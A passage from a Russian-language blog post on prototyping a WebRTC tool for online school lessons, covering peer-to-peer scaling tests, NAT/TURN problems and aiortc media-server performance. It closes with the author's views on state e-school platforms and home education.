продукт (minimum viable product), *почти* пригодный для проведения онлайн уроков, с видео/аудио конференцией, общим экраном, интерактивной доской, простым текстовым чатом и кнопкой «поднять руку». Это на случай, если у ребёнка вдруг не окажется микрофона. Да, такое бывает, особенно у детей, не выучивших уроки. Но в этой бочке меда, к сожалению, есть пара ложек дёгтя. ### Тестируем WebRTC **Ложка №1.** Поскольку наша видеосвязь использует прямые подключения между клиентами, нужно первым делом проверить масштабируемость такого решения. Для теста я взял старенький ноутбук с двухядерным i5-3230M на борту, и начал подключать к нему клиентов с отключенными веб камерами, то есть эмулируя режим один-ко-многим: ![image](https://habrastorage.org/r/w780q1/webt/sd/yg/qi/sdygqigexunzi5q9dlsuuqo3imu.jpeg) Как видите, подопытный ноут в состоянии более-менее комфортно вещать пяти клиентам (при загрузке CPU в пределах 60%). И это при условии снижения разрешения исходящего видеопотока до 720p (640x480px) и frame rate до 15 fps. В принципе, не так уж и плохо, но при подключении класса из нескольких десятков учеников от «фулл меша» придется отказаться в пользу каскадирования, то есть каждый из первых пяти клиентов проксирует поток следующим пяти и так далее. **Ложка №2.** Для создания прямого интерактивного подключения (ICE) между клиентами им нужно обойти сетевые экраны и преобразователи NAT. Для этого WebRTC использует сервер [STUN](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Protocols), который сообщает клиентам внешние параметры подключения. Считается, что в большинстве случаев этого достаточно. Но мне почти сразу же «повезло»: ![](https://habrastorage.org/r/w1560/webt/ly/rt/md/lyrtmd_yivqkbw50jdjvv7fmkmi.png) Как видите, отладчик ругается на невозможность ICE соединения и требует подключения TURN сервера, то есть ретранслятора (relay). А это уже ДОРОГО. Простым сервером сигнализации тут не обойтись. Вывод — придётся пропускать все потоки через медиа сервер. ### Медиа сервер Для тестирования я использовал [aiortc](https://github.com/aiortc/aiortc). Интересная разработка, позволяет подключить браузер напрямую к серверу через WebRTC. Отдельная сигнализация не нужна, можно использовать канал данных самого соединения. Это работает, все мои тестовые точки подключились без проблем. Но вот с производительностью беда. Простое эхо видео/аудио потока с теми же ограничениями 720p и 15fps съели 50% моего виртуального CPU на тестовом VDS. Причём, если увеличить нагрузку до 100%, видео поток не успевает выгружаться клиентам и начинает забивать память, что в итоге приводит к остановке сервера. Очевидно, Питон, который мы любим использовать для задач обработки ввода/вывода, не очень подходит для «CPU bound». Придётся поискать более специализированное решение, например, [Янус](https://janus.conf.meetecho.com/) или [Джитси](http://). В любом случае, полноценное решение потребует выделенных серверов, по моим прикидкам, из расчёта 1 ядро на комнату (класс). Это уже стоит денег и выходит за рамки простого тестирования, поэтому в этом месте первую фазу моего исследования я буду считать завершённой. ### Выводы 1. Мягко говоря, странно видеть на официальном портале Российской Федерации [инструкции](https://uchebnik.mos.ru/catalogue/material_view/atomic_objects/7571954) по скачиванию и ссылки на регистрацию в программе бывшего потенциального врага №1 (тут про Microsoft Teams). И это в эпоху санкций и импортозамещения. Нет, лично я за дружбу народов и вообще всяческую толерантность, но неужели только у меня от такой «интеграции» встают волосы дыбом? Разве нет наших разработок? 2. Интеграция МЭШ/РЭШ со школами. Вообще-то, разработчики МЭШ молодцы, даже с Яндекс.репетитором интеграцию сделали. А как быть с выставлением оценок в реальном времени во время уроков, когда будет API? Или я чего-то не знаю? 3. Выбирая дистанционную или семейную форму обучения, нужно быть честным с собой: переложить ответственность за образование ребёнка на школу не получится. Вся работа по проведению уроков (в случае семейного образования), поддержанию дисциплины и самоорганизованности (в любом случае) полностью ложится на родителей. Нужно отдавать себе в этом отчёт и найти время на занятия. Впрочем, в больших семьях с этим проблем быть не должно. 4. Я не буду приводить здесь ссылки на выбранные нами онлайн школы, чтобы это не сочли рекламой. Скажу только, что мы остановились на частных школах среднего ценового диапазона. В любом случае, окончательный результат будет зависеть от ребёнка и получим мы его не раньше сентября. Или есть смысл довести до логического конца начатую здесь разработку и организовать свою школу? Что вы думаете? Есть единомышленники, имеющие профильные знания и опыт в области образования? **Полезные ссылки:** [Российская Электронная Школа](https://resh.edu.ru/) [Московская Электронная Школа](https://www.mos.ru/city/projects/mesh/) [Библиотека МЭШ](https://uchebnik.mos.ru/catalogue) [Разработчику](https://developer.mozilla.org)
https://habr.com/ru/post/533102/
null
ru
null